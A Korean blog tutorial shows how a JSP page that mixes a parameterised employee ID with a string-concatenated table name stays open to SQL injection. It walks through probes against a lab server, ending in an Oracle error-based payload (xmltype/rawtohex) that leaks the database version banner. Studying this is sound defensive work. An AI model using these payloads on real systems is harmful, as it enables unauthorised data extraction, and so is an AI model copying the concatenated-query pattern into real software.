Self-Improvement

잘못 구현된 Prepared Statement 취약점 본문

SQLi

잘못 구현된 Prepared Statement 취약점

JoGeun 2020. 4. 20. 09:46

Prepared Statement는 SQLi 공격이 불가한 방식이며 실제 안전하게 구현된 방식은 취약점이 발생하지 않는다.

하지만 잘못 구현된 Prepared Statement는 취약점이 발생할 수 있다.

 

Prepared Statement  + Statement의 혼합 형태의 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page contentType="text/html; charset=euc-kr"%>
<%@ include file="dbcon_prepared.jsp"%>
<%@ page import="java.util.*,java.text.*"%>
<html>
<head>
<title>opensecurelab</title>
</head>
<body>
Employee information :<br><br>
<table border=1 cellpadding=5 cellspacing=0>
        <tr>
                <td>Employee ID</td>
                <td>FirstName</td>
                <td>JOB_ID</td>
                <td>HireDate</td>
        <tr>
 <%
   int _empid = Integer.parseInt(request.getParameter("empid"));
   String _tname = request.getParameter("tname");
   if (_tname==null) {
      _tname="employees";
   }
   sql = "select * from " + _tname + " where employee_id=?";
   pstmt = con.prepareStatement(sql);
   pstmt.setInt(1,_empid);
   rs = pstmt.executeQuery();
   while(rs.next()) {
        String empid = rs.getString("employee_id");
        String name  = rs.getString("first_name");
        String jobid = rs.getString("job_id");
        String hiredate= rs.getString("hire_date");
%>
        <tr>
                <td><%=empid%></td>
                <td><%=name%></td>
                <td><%=jobid%></td>
                <td><%=hiredate%></td>
        </td>
<%
   }
   if(rs != null) rs.close();
   if(pstmt != null)pstmt.close();
   if(con != null)con.close();
 %>
</table>
</body>
 
</html>
cs

tname의 파라미터는 Statement, empid 파라미터는 Prepared Statement 방식을 혼합해서 사용하고 있다.

 

페이지에 접속해본다.

- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES&empid=100

 

empid 파라미터에 싱글쿼터를 주입해서 Error가 발생하는지 확인한다.

- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES&empid=100%27

에러는 발생하였지만 DB에러가 아닌 JSP 스크립트 에러가 발생한 것을 알 수 있으며 문자형을 숫자형으로 변환 할 수 없다는 메시지이다. 즉 데이터 유형 검사와 동일한 형태인 것이며 취약점이 발생하지 않는다.

 

이번에는 tname에 싱글쿼터를 주입해본다.

- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES%27&empid=100

맨 하단에 DB 에러가 발생한 것을 알 수 있다. 해당 파라미터에서는 취약점이 발생한다는 뜻이며 에러 메시지를 통해서 쿼리문을 추측해서 SQLi을 주입을 해본다.

 

주석을 주입해도 동일한 에러가 발생하며 empid 파라미터가 플레이스 홀더로 사용되는 것을 추측할 수 있으며 이것을 이용하면 된다.

- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES--&empid=100

 

where 절과 함께 플레이스 홀더를 임의로 주입하여 참으로 만들어준다.

-http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES%20where%20100=?--&empid=100

 

모든 정보가 출력이 된 것을 확인할 수 있으며 이를 통해 UNION SQLi도 가능하지만 이전에 배운 Error SQLi로 진행을 해본다.

Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다.

where 100=? and (select rawtohex(xmltype((select '<start_'|| rawtohex(banner)||'_end:root>' from v$version where rownum=1))) from dual)=0--

- http://192.168.1.46:8080/empinfo_tab_prepared.jsp?tname=EMPLOYEES%20where%20100=?%20and%20(select%20rawtohex(xmltype((select%20%27%3Cstart_%27%7c%7c%20rawtohex(banner)%7c%7c%27_end:root%3E%27%20from%20v$version%20where%20rownum=1)))%20from%20dual)=0--&empid=100

hex값으로 DB정보가 출력이 이루어진다.